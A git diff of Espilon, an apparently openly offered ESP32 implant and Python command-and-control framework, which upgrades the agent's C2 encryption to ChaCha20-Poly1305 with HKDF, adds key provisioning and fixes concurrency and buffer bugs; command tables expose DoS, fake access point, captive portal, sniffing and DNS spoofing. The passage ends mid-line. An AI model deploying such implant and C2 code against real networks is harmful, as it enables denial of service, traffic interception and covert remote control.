diff --git a/.gitignore b/.gitignore index 2f52331..7d78310 100644 --- a/.gitignore +++ b/.gitignore @@ -30,18 +30,20 @@ ENV/ .venv # Tools - Python dependencies -tools/c2/__pycache__/ -tools/c3po/__pycache__/ +tools/C3PO/__pycache__/ tools/flasher/__pycache__/ *.pyc # Configuration files with secrets tools/flasher/devices.json tools/flasher/devices.*.json -tools/c2/config.json -tools/c3po/config.json +tools/C3PO/config.json **/config.local.json +# C3PO runtime / secrets +tools/C3PO/keys.json +tools/C3PO/*.db + # Logs *.log logs/ @@ -49,8 +51,8 @@ espilon_bot/logs/ sdkconfig # C2 Runtime files (camera streams, recordings) -tools/c2/static/streams/*.jpg -tools/c2/static/recordings/*.avi +tools/C3PO/static/streams/*.jpg +tools/C3PO/static/recordings/*.avi *.avi # IDE and Editor diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 8e41d9f..43c8fd1 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -415,7 +415,7 @@ idf.py monitor **For C2 changes**: ```bash cd tools/c2 -python3 c3po.py --port 2626 +python3 c3po.py # Test with connected ESP32 ``` @@ -596,8 +596,9 @@ epsilon/ │ │ └── mod_recon/ # Recon module │ └── main/ # Main application ├── tools/ # Supporting tools -│ ├── c2/ # C2 server (Python) +│ ├── C3PO/ # C2 server (Python) │ ├── flasher/ # Multi-flasher tool +│ ├── provisioning/ # Device key provisioning │ └── nan/ # NanoPB tools ├── docs/ # Documentation │ ├── INSTALL.md diff --git a/README.fr.md b/README.fr.md index b4976e5..da597cb 100644 --- a/README.fr.md +++ b/README.fr.md @@ -138,7 +138,7 @@ Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents │ ESP32 Agent │ │ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │ │ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │ -│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │ +│ │ GPRS │← │ Poly1305 │← │ (nanoPB/TCP) │ │ │ └───────────┘ └──────────┘ └─────────────────┘ │ │ ↓ ↓ ↓ │ │ ┌───────────────────────────────────────────────┐ │ @@ -157,7 +157,7 @@ Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents ### Composants Clés -- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB +- **Core** : Connexion réseau, ChaCha20-Poly1305 AEAD + dérivation HKDF, protocole nanoPB - **Modules** : Système extensible (Network, FakeAP, Recon, etc.) - **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents - **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra) @@ -259,8 +259,6 @@ python3 flash.py --config devices.json "module_fakeap": false, "recon_camera": false, "recon_ble_trilat": false, - "crypto_key": "testde32chars00000000000000000000", - "crypto_nonce": "noncenonceno" }, ## GPRS AGENT ## @@ -282,22 +280,30 @@ python3 flash.py --config devices.json Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète. +### Provisioning des Devices + +Chaque device nécessite une master key unique flashée dans sa partition factory NVS : + +```bash +cd tools/provisioning +python3 provision.py --device-id mon-device --port /dev/ttyUSB0 +``` + +Génère une clé aléatoire de 32 bytes, l'écrit en factory NVS, et la sauvegarde dans le keystore C2 (`keys.json`). + +Voir [tools/provisioning/](tools/provisioning/) pour les détails. + ### C2 Server (C3PO) Serveur de Command & Control : ```bash -cd tools/c2 +cd tools/C3PO pip3 install -r requirements.txt -python3 c3po.py --port 2626 +python3 c3po.py ``` -**Commandes** : - -- `list` : Lister les agents connectés -- `select ` : Sélectionner un agent -- `cmd ` : Exécuter une commande -- `group` : Gérer les groupes d'agents +Documentation complète et liste des commandes : voir [tools/C3PO/README.md](tools/C3PO/README.md). --- @@ -305,17 +311,13 @@ python3 c3po.py --port 2626 ### Chiffrement -- **ChaCha20** pour les communications C2 -- **Clés configurables** via menuconfig +- **ChaCha20-Poly1305 AEAD** pour le chiffrement authentifié de toutes les communications C2 +- **HKDF-SHA256** dérivation de clé (master key per-device + salt device ID) +- **Nonce aléatoire de 12 bytes** par message (RNG hardware ESP32) +- **Master keys per-device** stockées en partition factory NVS (read-only) - **Protocol Buffers (nanoPB)** pour la sérialisation -⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production : - -```bash -# Générer des clés aléatoires -openssl rand -hex 32 # ChaCha20 key (32 bytes) -openssl rand -hex 12 # Nonce (12 bytes) -``` +Provisionner chaque device avec une master key unique via `tools/provisioning/provision.py`. Les clés ne sont jamais hardcodées dans le firmware. ### Usage Responsable @@ -356,9 +358,10 @@ Espilon doit être utilisé uniquement pour : ### V2.0 (En cours) +- [x] Upgrade crypto ChaCha20-Poly1305 AEAD + HKDF +- [x] Provisioning per-device factory NVS +- [x] Réécriture C3PO avec crypto per-device - [ ] Mesh networking (BLE/WiFi) -- [ ] Implémenter Module reccoon dans C3PO -- [ ] Améliorer la Documentations [here](https://docs.espilon.net) - [ ] OTA updates - [ ] Multilatération collaborative - [ ] Optimisation mémoire diff --git a/README.md b/README.md index a8df945..f76a51e 100644 --- a/README.md +++ b/README.md @@ -138,7 +138,7 @@ Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful network | ESP32 Agent | | +-----------+ +----------+ +---------------------+ | | | WiFi/ |->| ChaCha20 |->| C2 Protocol | | -| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | | +| | GPRS |<-| Poly1305 |<-| (nanoPB/TCP) | | | +-----------+ +----------+ +---------------------+ | | | | | | | +-----------------------------------------------------+| @@ -157,7 +157,7 @@ Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful network ### Key Components -- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol +- **Core**: Network connection, ChaCha20-Poly1305 AEAD + HKDF key derivation, nanoPB protocol - **Modules**: Extensible system (Network, FakeAP, Recon, etc.) - **C2 (C3PO)**: Python asyncio server for multi-agent control - **Flasher**: Automated multi-device flashing tool @@ -257,22 +257,30 @@ python3 flash.py --config devices.json See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation. +### Device Provisioning + +Each device needs a unique master key flashed into its factory NVS partition before first use: + +```bash +cd tools/provisioning +python3 provision.py --device-id my-device --port /dev/ttyUSB0 +``` + +This generates a 32-byte random master key, writes it to the factory NVS partition, and saves it to the C2 keystore (`keys.json`). + +See [tools/provisioning/](tools/provisioning/) for details. + ### C2 Server (C3PO) Command & Control server: ```bash -cd tools/c2 +cd tools/C3PO pip3 install -r requirements.txt -python3 c3po.py --port 2626 +python3 c3po.py ``` -**Commands**: - -- `list`: List connected agents -- `select `: Select an agent -- `cmd `: Execute a command -- `group`: Manage agent groups +Full C2 documentation and command list: see [tools/C3PO/README.md](tools/C3PO/README.md). --- @@ -280,17 +288,13 @@ python3 c3po.py --port 2626 ### Encryption -- **ChaCha20** for C2 communications -- **Configurable keys** via menuconfig +- **ChaCha20-Poly1305 AEAD** for authenticated encryption of all C2 communications +- **HKDF-SHA256** key derivation (per-device master key + device ID salt) +- **Random 12-byte nonce** per message (ESP32 hardware RNG) +- **Per-device master keys** stored in factory NVS partition (read-only) - **Protocol Buffers (nanoPB)** for serialization -**CHANGE DEFAULT KEYS** for production use: - -```bash -# Generate random keys -openssl rand -hex 32 # ChaCha20 key (32 bytes) -openssl rand -hex 12 # Nonce (12 bytes) -``` +Provision each device with a unique master key using `tools/provisioning/provision.py`. Keys are never hardcoded in firmware. ### Responsible Use @@ -331,8 +335,10 @@ Espilon should only be used for: ### V2.0 (In Progress) +- [x] ChaCha20-Poly1305 AEAD + HKDF crypto upgrade +- [x] Per-device factory NVS key provisioning +- [x] C3PO C2 rewrite with per-device crypto - [ ] Mesh networking (BLE/WiFi) -- [ ] Improve documentation - [ ] OTA updates - [ ] Collaborative multilateration - [ ] Memory optimization diff --git a/espilon_bot/components/command/command.h b/espilon_bot/components/command/command.h index 4a30e90..2da4dde 100644 --- a/espilon_bot/components/command/command.h +++ b/espilon_bot/components/command/command.h @@ -28,6 +28,8 @@ typedef esp_err_t (*command_handler_t)( * ============================================================ */ typedef struct { const char *name; /* command name */ + const char *sub; /* subcommand name (optional) */ + const char *help; /* help text (optional) */ int min_args; int max_args; command_handler_t handler; /* handler */ diff --git a/espilon_bot/components/command/command_async.c b/espilon_bot/components/command/command_async.c index 433eb3e..e215908 100644 --- a/espilon_bot/components/command/command_async.c +++ b/espilon_bot/components/command/command_async.c @@ -30,6 +30,13 @@ static void async_worker(void *arg) while (1) { if (xQueueReceive(async_queue, &job, portMAX_DELAY)) { + /* Recompute argv_ptrs to point into THIS copy's argv buffers. + * xQueueReceive copies the struct by value, so the old + * pointers (set at enqueue time) are now dangling. */ + for (int i = 0; i < job.argc; i++) { + job.argv_ptrs[i] = job.argv[i]; + } + ESP_LOGI(TAG, "Async exec: %s", job.cmd->name); job.cmd->handler( diff --git a/espilon_bot/components/core/CMakeLists.txt b/espilon_bot/components/core/CMakeLists.txt index 42fea41..f2f6b56 100644 --- a/espilon_bot/components/core/CMakeLists.txt +++ b/espilon_bot/components/core/CMakeLists.txt @@ -1,11 +1,11 @@ -set(PRIV_REQUIRES_LIST +set(PRIV_REQUIRES_LIST mbedtls - lwip - mod_network + nvs_flash + lwip + mod_network mod_fakeAP mod_recon esp_timer - esp_driver_uart driver command ) diff --git a/espilon_bot/components/core/WiFi.c b/espilon_bot/components/core/WiFi.c index 91cb34d..404ed68 100644 --- a/espilon_bot/components/core/WiFi.c +++ b/espilon_bot/components/core/WiFi.c @@ -16,9 +16,11 @@ #include "c2.pb.h" #include "pb_decode.h" +#include "freertos/semphr.h" #include "utils.h" int sock = -1; +SemaphoreHandle_t sock_mutex = NULL; #ifdef CONFIG_NETWORK_WIFI static const char *TAG = "CORE_WIFI"; @@ -63,8 +65,8 @@ static bool tcp_connect(void) { struct sockaddr_in server_addr = {0}; - sock = lwip_socket(AF_INET, SOCK_STREAM, 0); - if (sock < 0) { + int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0); + if (new_sock < 0) { ESP_LOGE(TAG, "socket() failed"); return false; } @@ -73,15 +75,18 @@ static bool tcp_connect(void) server_addr.sin_port = htons(CONFIG_SERVER_PORT); server_addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP); - if (lwip_connect(sock, + if (lwip_connect(new_sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) != 0) { ESP_LOGE(TAG, "connect() failed"); - lwip_close(sock); - sock = -1; + lwip_close(new_sock); return false; } + xSemaphoreTake(sock_mutex, portMAX_DELAY); + sock = new_sock; + xSemaphoreGive(sock_mutex); + ESP_LOGI(TAG, "Connected to %s:%d", CONFIG_SERVER_IP, CONFIG_SERVER_PORT); @@ -94,10 +99,13 @@ static bool tcp_connect(void) * ========================================================= */ static void handle_frame(const uint8_t *buf, size_t len) { - char tmp[len + 1]; - memcpy(tmp, buf, len); - tmp[len] = '\0'; - c2_decode_and_exec(tmp); + if (len == 0 || len >= RX_BUF_SIZE) { + ESP_LOGW(TAG, "Frame too large or empty (%d bytes), dropping", (int)len); + return; + } + /* buf is already null-terminated by strtok in tcp_rx_loop, + and c2_decode_and_exec makes its own 1024-byte copy. */ + c2_decode_and_exec((const char *)buf); } @@ -108,11 +116,19 @@ static void tcp_rx_loop(void) { static uint8_t rx_buf[RX_BUF_SIZE]; - int len = lwip_recv(sock, rx_buf, sizeof(rx_buf) - 1, 0); + xSemaphoreTake(sock_mutex, portMAX_DELAY); + int current_sock = sock; + xSemaphoreGive(sock_mutex); + + if (current_sock < 0) return; + + int len = lwip_recv(current_sock, rx_buf, sizeof(rx_buf) - 1, 0); if (len <= 0) { ESP_LOGW(TAG, "RX failed / disconnected"); + xSemaphoreTake(sock_mutex, portMAX_DELAY); lwip_close(sock); sock = -1; + xSemaphoreGive(sock_mutex); return; } @@ -131,6 +147,9 @@ static void tcp_rx_loop(void) * ========================================================= */ void tcp_client_task(void *pvParameters) { + if (!sock_mutex) + sock_mutex = xSemaphoreCreateMutex(); + while (1) { if (!tcp_connect()) { diff --git a/espilon_bot/components/core/com.c b/espilon_bot/components/core/com.c index dceadce..a46df17 100644 --- a/espilon_bot/components/core/com.c +++ b/espilon_bot/components/core/com.c @@ -17,7 +17,7 @@ bool com_init(void) xTaskCreatePinnedToCore( tcp_client_task, "tcp_client_task", - 8192, + 12288, NULL, 1, NULL, diff --git a/espilon_bot/components/core/crypto.c b/espilon_bot/components/core/crypto.c index 151a0df..b5ca5bd 100644 --- a/espilon_bot/components/core/crypto.c +++ b/espilon_bot/components/core/crypto.c @@ -1,12 +1,18 @@ -// crypto.c +// crypto.c – ChaCha20-Poly1305 AEAD with HKDF key derivation #include #include #include #include "esp_log.h" +#include "esp_random.h" +#include "nvs_flash.h" +#include "nvs.h" -#include "mbedtls/chacha20.h" +#include "mbedtls/chachapoly.h" +#include "mbedtls/hkdf.h" +#include "mbedtls/md.h" #include "mbedtls/base64.h" +#include "mbedtls/platform_util.h" #include "pb_decode.h" #include "c2.pb.h" @@ -16,53 +22,186 @@ static const char *TAG = "CRYPTO"; -/* ============================================================ - * Compile-time security checks - * ============================================================ */ -_Static_assert(sizeof(CONFIG_CRYPTO_KEY) - 1 == 32, - "CONFIG_CRYPTO_KEY must be exactly 32 bytes"); -_Static_assert(sizeof(CONFIG_CRYPTO_NONCE) - 1 == 12, - "CONFIG_CRYPTO_NONCE must be exactly 12 bytes"); +#define NONCE_LEN 12 +#define TAG_LEN 16 +#define KEY_LEN 32 +#define OVERHEAD (NONCE_LEN + TAG_LEN) /* 28 bytes */ + +static uint8_t derived_key[KEY_LEN]; +static bool crypto_ready = false; /* ============================================================ - * ChaCha20 encrypt/decrypt (same function) + * crypto_init – read master key from factory NVS, derive via HKDF * ============================================================ */ -unsigned char *chacha_cd(const unsigned char *data, size_t data_len) +bool crypto_init(void) { - if (!data || data_len == 0) { - ESP_LOGE(TAG, "Invalid input to chacha_cd"); - return NULL; + esp_err_t err; + + /* 1) Init the factory NVS partition */ + err = nvs_flash_init_partition("fctry"); + if (err != ESP_OK) { + ESP_LOGE(TAG, "nvs_flash_init_partition(fctry) failed: %s", + esp_err_to_name(err)); + return false; } - unsigned char *out = (unsigned char *)malloc(data_len); - if (!out) { - ESP_LOGE(TAG, "malloc failed in chacha_cd"); - return NULL; + /* 2) Open the crypto namespace (read-only) */ + nvs_handle_t handle; + err = nvs_open_from_partition( + "fctry", + CONFIG_CRYPTO_FCTRY_NS, + NVS_READONLY, + &handle + ); + if (err != ESP_OK) { + ESP_LOGE(TAG, "nvs_open_from_partition(fctry/%s) failed: %s", + CONFIG_CRYPTO_FCTRY_NS, esp_err_to_name(err)); + return false; } - unsigned char key[32]; - unsigned char nonce[12]; - uint32_t counter = 0; + /* 3) Read the 32-byte master key blob */ + uint8_t master_key[KEY_LEN]; + size_t mk_len = sizeof(master_key); - memcpy(key, CONFIG_CRYPTO_KEY, sizeof(key)); - memcpy(nonce, CONFIG_CRYPTO_NONCE, sizeof(nonce)); + err = nvs_get_blob(handle, CONFIG_CRYPTO_FCTRY_KEY, master_key, &mk_len); + nvs_close(handle); - int ret = mbedtls_chacha20_crypt( - key, + if (err != ESP_OK || mk_len != KEY_LEN) { + ESP_LOGE(TAG, "nvs_get_blob(%s) failed: %s (len=%u)", + CONFIG_CRYPTO_FCTRY_KEY, esp_err_to_name(err), + (unsigned)mk_len); + mbedtls_platform_zeroize(master_key, sizeof(master_key)); + return false; + } + + /* 4) HKDF-SHA256: derive the encryption key */ + const char *info = "espilon-c2-v1"; + const char *salt = CONFIG_DEVICE_ID; + + int ret = mbedtls_hkdf( + mbedtls_md_info_from_type(MBEDTLS_MD_SHA256), + (const uint8_t *)salt, strlen(salt), + master_key, KEY_LEN, + (const uint8_t *)info, strlen(info), + derived_key, KEY_LEN + ); + + /* Wipe master key from RAM immediately */ + mbedtls_platform_zeroize(master_key, sizeof(master_key)); + + if (ret != 0) { + ESP_LOGE(TAG, "HKDF failed (%d)", ret); + return false; + } + + crypto_ready = true; + ESP_LOGI(TAG, "Crypto ready (ChaCha20-Poly1305 + HKDF)"); + return true; +} + +/* ============================================================ + * crypto_encrypt – ChaCha20-Poly1305 AEAD + * + * Output layout: nonce[12] || ciphertext[plain_len] || tag[16] + * Returns total output length, or -1 on error. + * ============================================================ */ +int crypto_encrypt(const uint8_t *plain, size_t plain_len, + uint8_t *out, size_t out_cap) +{ + if (!crypto_ready) { + ESP_LOGE(TAG, "crypto_encrypt: not initialized"); + return -1; + } + if (!plain || plain_len == 0 || !out) { + ESP_LOGE(TAG, "crypto_encrypt: invalid args"); + return -1; + } + + size_t needed = plain_len + OVERHEAD; + if (out_cap < needed) { + ESP_LOGE(TAG, "crypto_encrypt: buffer too small (%u < %u)", + (unsigned)out_cap, (unsigned)needed); + return -1; + } + + /* Random nonce in the first 12 bytes */ + esp_fill_random(out, NONCE_LEN); + + mbedtls_chachapoly_context ctx; + mbedtls_chachapoly_init(&ctx); + mbedtls_chachapoly_setkey(&ctx, derived_key); + + int ret = mbedtls_chachapoly_encrypt_and_tag( + &ctx, + plain_len, + out, /* nonce */ + NULL, 0, /* no AAD */ + plain, /* input */ + out + NONCE_LEN, /* output (ciphertext) */ + out + NONCE_LEN + plain_len /* tag */ + ); + + mbedtls_chachapoly_free(&ctx); + + if (ret != 0) { + ESP_LOGE(TAG, "chachapoly encrypt failed (%d)", ret); + return -1; + } + + return (int)needed; +} + +/* ============================================================ + * crypto_decrypt – ChaCha20-Poly1305 AEAD + * + * Input layout: nonce[12] || ciphertext[N] || tag[16] + * Returns plaintext length, or -1 on error / auth failure. + * ============================================================ */ +int crypto_decrypt(const uint8_t *in, size_t in_len, + uint8_t *out, size_t out_cap) +{ + if (!crypto_ready) { + ESP_LOGE(TAG, "crypto_decrypt: not initialized"); + return -1; + } + if (!in || in_len < OVERHEAD || !out) { + ESP_LOGE(TAG, "crypto_decrypt: invalid args (in_len=%u)", + (unsigned)in_len); + return -1; + } + + size_t ct_len = in_len - OVERHEAD; + if (out_cap < ct_len) { + ESP_LOGE(TAG, "crypto_decrypt: buffer too small"); + return -1; + } + + const uint8_t *nonce = in; + const uint8_t *ct = in + NONCE_LEN; + const uint8_t *tag = in + NONCE_LEN + ct_len; + + mbedtls_chachapoly_context ctx; + mbedtls_chachapoly_init(&ctx); + mbedtls_chachapoly_setkey(&ctx, derived_key); + + int ret = mbedtls_chachapoly_auth_decrypt( + &ctx, + ct_len, nonce, - counter, - data_len, - data, + NULL, 0, /* no AAD */ + tag, + ct, out ); + mbedtls_chachapoly_free(&ctx); + if (ret != 0) { - ESP_LOGE(TAG, "ChaCha20 failed (%d)", ret); - free(out); - return NULL; + ESP_LOGE(TAG, "AEAD auth/decrypt failed (%d)", ret); + return -1; } - return out; /* binary-safe */ + return (int)ct_len; } /* ============================================================ @@ -134,7 +273,6 @@ char *base64_decode(const char *input, size_t *output_len) return NULL; } - /* Optional null terminator for debug */ out[*output_len] = '\0'; return (char *)out; } @@ -155,11 +293,10 @@ bool c2_decode_and_exec(const char *frame) memcpy(tmp, frame, n); tmp[n] = '\0'; while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) { - tmp[n - 1] = '\0'; - n--; + tmp[--n] = '\0'; } - ESP_LOGI(TAG, "C2 RX b64: %s", tmp); + ESP_LOGD(TAG, "C2 RX b64 (%u bytes)", (unsigned)n); /* 1) Base64 decode */ size_t decoded_len = 0; @@ -170,27 +307,28 @@ bool c2_decode_and_exec(const char *frame) return false; } - /* 2) ChaCha decrypt */ - unsigned char *plain = chacha_cd((const unsigned char *)decoded, decoded_len); + /* 2) Decrypt + authenticate (AEAD) */ + uint8_t plain[1024]; + int plain_len = crypto_decrypt( + (const uint8_t *)decoded, decoded_len, + plain, sizeof(plain) + ); free(decoded); - if (!plain) { - ESP_LOGE(TAG, "ChaCha decrypt failed"); + if (plain_len < 0) { + ESP_LOGE(TAG, "Decrypt/auth failed – tampered or wrong key"); return false; } /* 3) Protobuf decode -> c2_Command */ c2_Command cmd = c2_Command_init_zero; - pb_istream_t is = pb_istream_from_buffer(plain, decoded_len); + pb_istream_t is = pb_istream_from_buffer(plain, (size_t)plain_len); if (!pb_decode(&is, c2_Command_fields, &cmd)) { ESP_LOGE(TAG, "PB decode error: %s", PB_GET_ERROR(&is)); - free(plain); return false; } - free(plain); - /* 4) Log + dispatch */ #ifdef CONFIG_ESPILON_LOG_C2_VERBOSE ESP_LOGI(TAG, "==== C2 COMMAND ===="); diff --git a/espilon_bot/components/core/messages.c b/espilon_bot/components/core/messages.c index a281782..bb8c26e 100644 --- a/espilon_bot/components/core/messages.c +++ b/espilon_bot/components/core/messages.c @@ -8,12 +8,14 @@ #include "pb_encode.h" #include "c2.pb.h" -#include "utils.h" /* base64_encode, chacha_cd, CONFIG_DEVICE_ID */ +#include "freertos/semphr.h" +#include "utils.h" /* crypto_encrypt, base64_encode, CONFIG_DEVICE_ID */ #define TAG "AGENT_MSG" #define MAX_PROTOBUF_SIZE 512 extern int sock; +extern SemaphoreHandle_t sock_mutex; /* ============================================================ * TCP helpers @@ -22,12 +24,19 @@ extern int sock; static bool tcp_send_all(const void *buf, size_t len) { #ifdef CONFIG_NETWORK_WIFI - - extern int sock; - + + xSemaphoreTake(sock_mutex, portMAX_DELAY); + int current_sock = sock; + xSemaphoreGive(sock_mutex); + + if (current_sock < 0) { + ESP_LOGE(TAG, "socket not connected"); + return false; + } + const uint8_t *p = (const uint8_t *)buf; while (len > 0) { - int sent = lwip_write(sock, p, len); + int sent = lwip_write(current_sock, p, len); if (sent <= 0) { ESP_LOGE(TAG, "lwip_write failed"); return false; @@ -54,8 +63,11 @@ static bool send_base64_frame(const uint8_t *data, size_t len) return false; } - bool ok = tcp_send_all(b64, strlen(b64)) && - tcp_send_all("\n", 1); + /* Prepend "device_id:" so the C2 can identify which key to use */ + bool ok = tcp_send_all(CONFIG_DEVICE_ID, strlen(CONFIG_DEVICE_ID)) + && tcp_send_all(":", 1) + && tcp_send_all(b64, strlen(b64)) + && tcp_send_all("\n", 1); free(b64); return ok; @@ -67,10 +79,10 @@ static bool send_base64_frame(const uint8_t *data, size_t len) static bool encode_encrypt_send(c2_AgentMessage *msg) { - uint8_t buffer[MAX_PROTOBUF_SIZE]; + uint8_t pb_buf[MAX_PROTOBUF_SIZE]; pb_ostream_t stream = - pb_ostream_from_buffer(buffer, sizeof(buffer)); + pb_ostream_from_buffer(pb_buf, sizeof(pb_buf)); if (!pb_encode(&stream, c2_AgentMessage_fields, msg)) { ESP_LOGE(TAG, "pb_encode failed: %s", @@ -80,16 +92,17 @@ static bool encode_encrypt_send(c2_AgentMessage *msg) size_t proto_len = stream.bytes_written; - uint8_t *cipher = - (uint8_t *)chacha_cd(buffer, proto_len); - if (!cipher) { - ESP_LOGE(TAG, "chacha_cd failed"); + /* nonce[12] + ciphertext + tag[16] */ + uint8_t enc_buf[MAX_PROTOBUF_SIZE + 12 + 16]; + + int enc_len = crypto_encrypt(pb_buf, proto_len, + enc_buf, sizeof(enc_buf)); + if (enc_len < 0) { + ESP_LOGE(TAG, "crypto_encrypt failed"); return false; } - bool ok = send_base64_frame(cipher, proto_len); - free(cipher); - return ok; + return send_base64_frame(enc_buf, (size_t)enc_len); } /* ============================================================ diff --git a/espilon_bot/components/core/process.c b/espilon_bot/components/core/process.c index 55c75fc..b70ec9d 100644 --- a/espilon_bot/components/core/process.c +++ b/espilon_bot/components/core/process.c @@ -18,14 +18,15 @@ void process_command(const c2_Command *cmd) } /* ----------------------------------------------------- - * Device ID check + * Device ID check — allow broadcast (empty device_id) * ----------------------------------------------------- */ - //if (!device_id_matches(CONFIG_DEVICE_ID, cmd->device_id)) { - // ESP_LOGW(TAG, - // "Command not for this device (target=%s)", - // cmd->device_id); - // return; - //} + if (cmd->device_id[0] != '\0' && + strcmp(CONFIG_DEVICE_ID, cmd->device_id) != 0) { + ESP_LOGW(TAG, + "Command not for this device (target=%s, self=%s)", + cmd->device_id, CONFIG_DEVICE_ID); + return; + } /* ----------------------------------------------------- * Basic validation diff --git a/espilon_bot/components/core/utils.h b/espilon_bot/components/core/utils.h index 3e64747..c20a652 100644 --- a/espilon_bot/components/core/utils.h +++ b/espilon_bot/components/core/utils.h @@ -64,14 +64,25 @@ extern int sock; bool com_init(void); /* ============================================================ - * CRYPTO API + * CRYPTO API (ChaCha20-Poly1305 AEAD + HKDF) * ============================================================ */ +/* Init crypto: read master key from factory NVS, derive via HKDF-SHA256 */ +bool crypto_init(void); + /* - * ChaCha20 encrypt/decrypt - * Retourne un buffer malloc()'d → free() obligatoire + * Encrypt (AEAD). Output: nonce[12] || ciphertext || tag[16] + * Returns total output length, or -1 on error. */ -unsigned char *chacha_cd(const unsigned char *data, size_t data_len); +int crypto_encrypt(const uint8_t *plain, size_t plain_len, + uint8_t *out, size_t out_cap); + +/* + * Decrypt + verify (AEAD). Input: nonce[12] || ciphertext || tag[16] + * Returns plaintext length, or -1 on error / auth failure. + */ +int crypto_decrypt(const uint8_t *in, size_t in_len, + uint8_t *out, size_t out_cap); /* Base64 helpers */ char *base64_decode(const char *input, size_t *output_len); diff --git a/espilon_bot/components/mod_fakeAP/cmd_fakeAP.c b/espilon_bot/components/mod_fakeAP/cmd_fakeAP.c index 375941a..b07d931 100644 --- a/espilon_bot/components/mod_fakeAP/cmd_fakeAP.c +++ b/espilon_bot/components/mod_fakeAP/cmd_fakeAP.c @@ -268,14 +268,14 @@ static int cmd_fakeap_sniffer_off( * REGISTER COMMANDS * ============================================================ */ static const command_t fakeap_cmds[] = { - { "fakeap_start", 1, 3, cmd_fakeap_start, NULL, false }, - { "fakeap_stop", 0, 0, cmd_fakeap_stop, NULL, false }, - { "fakeap_status", 0, 0, cmd_fakeap_status, NULL, false }, - { "fakeap_clients", 0, 0, cmd_fakeap_clients, NULL, false }, - { "fakeap_portal_start", 0, 0, cmd_fakeap_portal_start, NULL, false }, - { "fakeap_portal_stop", 0, 0, cmd_fakeap_portal_stop, NULL, false }, - { "fakeap_sniffer_on", 0, 0, cmd_fakeap_sniffer_on, NULL, false }, - { "fakeap_sniffer_off", 0, 0, cmd_fakeap_sniffer_off, NULL, false } + { "fakeap_start", NULL, NULL, 1, 3, cmd_fakeap_start, NULL, false }, + { "fakeap_stop", NULL, NULL, 0, 0, cmd_fakeap_stop, NULL, false }, + { "fakeap_status", NULL, NULL, 0, 0, cmd_fakeap_status, NULL, false }, + { "fakeap_clients", NULL, NULL, 0, 0, cmd_fakeap_clients, NULL, false }, + { "fakeap_portal_start", NULL, NULL, 0, 0, cmd_fakeap_portal_start, NULL, false }, + { "fakeap_portal_stop", NULL, NULL, 0, 0, cmd_fakeap_portal_stop, NULL, false }, + { "fakeap_sniffer_on", NULL, NULL, 0, 0, cmd_fakeap_sniffer_on, NULL, false }, + { "fakeap_sniffer_off", NULL, NULL, 0, 0, cmd_fakeap_sniffer_off, NULL, false } }; void mod_fakeap_register_commands(void) diff --git a/espilon_bot/components/mod_fakeAP/mod_fakeAP.c b/espilon_bot/components/mod_fakeAP/mod_fakeAP.c index 0ee3c3f..fbe347d 100644 --- a/espilon_bot/components/mod_fakeAP/mod_fakeAP.c +++ b/espilon_bot/components/mod_fakeAP/mod_fakeAP.c @@ -300,7 +300,15 @@ static void send_dns_spoof( int req_len, uint32_t ip ) { - uint8_t resp[512]; + /* DNS answer appends 16 bytes after the request */ + #define DNS_ANSWER_SIZE 16 + uint8_t resp[512 + DNS_ANSWER_SIZE]; + + if (req_len <= 0 || req_len > 512) { + ESP_LOGW(TAG, "DNS spoof: invalid req_len=%d", req_len); + return; + } + memcpy(resp, req, req_len); resp[2] |= 0x80; // QR = response diff --git a/espilon_bot/components/mod_network/cmd_network.c b/espilon_bot/components/mod_network/cmd_network.c index 8492444..104824a 100644 --- a/espilon_bot/components/mod_network/cmd_network.c +++ b/espilon_bot/components/mod_network/cmd_network.c @@ -150,11 +150,11 @@ * REGISTER COMMANDS * ============================================================ */ static const command_t network_cmds[] = { - { "ping", 1, 8, cmd_ping, NULL, true }, - { "arp_scan", 0, 0, cmd_arp_scan, NULL, true }, - { "proxy_start", 2, 2, cmd_proxy_start, NULL, true }, - { "proxy_stop", 0, 0, cmd_proxy_stop, NULL, false }, - { "dos_tcp", 3, 3, cmd_dos_tcp, NULL, true } + { "ping", NULL, NULL, 1, 8, cmd_ping, NULL, true }, + { "arp_scan", NULL, NULL, 0, 0, cmd_arp_scan, NULL, true }, + { "proxy_start", NULL, NULL, 2, 2, cmd_proxy_start, NULL, true }, + { "proxy_stop", NULL, NULL, 0, 0, cmd_proxy_stop, NULL, false }, + { "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true } }; void mod_network_register_commands(void) diff --git a/espilon_bot/components/mod_recon/mod_cam.c b/espilon_bot/components/mod_recon/mod_cam.c index fa4985c..8ff5995 100644 --- a/espilon_bot/components/mod_recon/mod_cam.c +++ b/espilon_bot/components/mod_recon/mod_cam.c @@ -53,8 +53,8 @@ static bool camera_initialized = false; static int udp_sock = -1; static struct sockaddr_in dest_addr; -/* ⚠️ à passer en Kconfig plus tard */ -static const char *token = "Sup3rS3cretT0k3n"; +/* Camera UDP authentication token (from Kconfig) */ +static const char *token = CONFIG_CAMERA_UDP_TOKEN; /* ============================================================ * CAMERA INIT diff --git a/espilon_bot/components/mod_recon/mod_trilat.c b/espilon_bot/components/mod_recon/mod_trilat.c index 3090e96..6c382c2 100644 --- a/espilon_bot/components/mod_recon/mod_trilat.c +++ b/espilon_bot/components/mod_recon/mod_trilat.c @@ -184,24 +184,25 @@ static void ble_init(void) /* ============================================================ * COMMANDS * ============================================================ */ -static esp_err_t cmd_trilat_start(int argc, 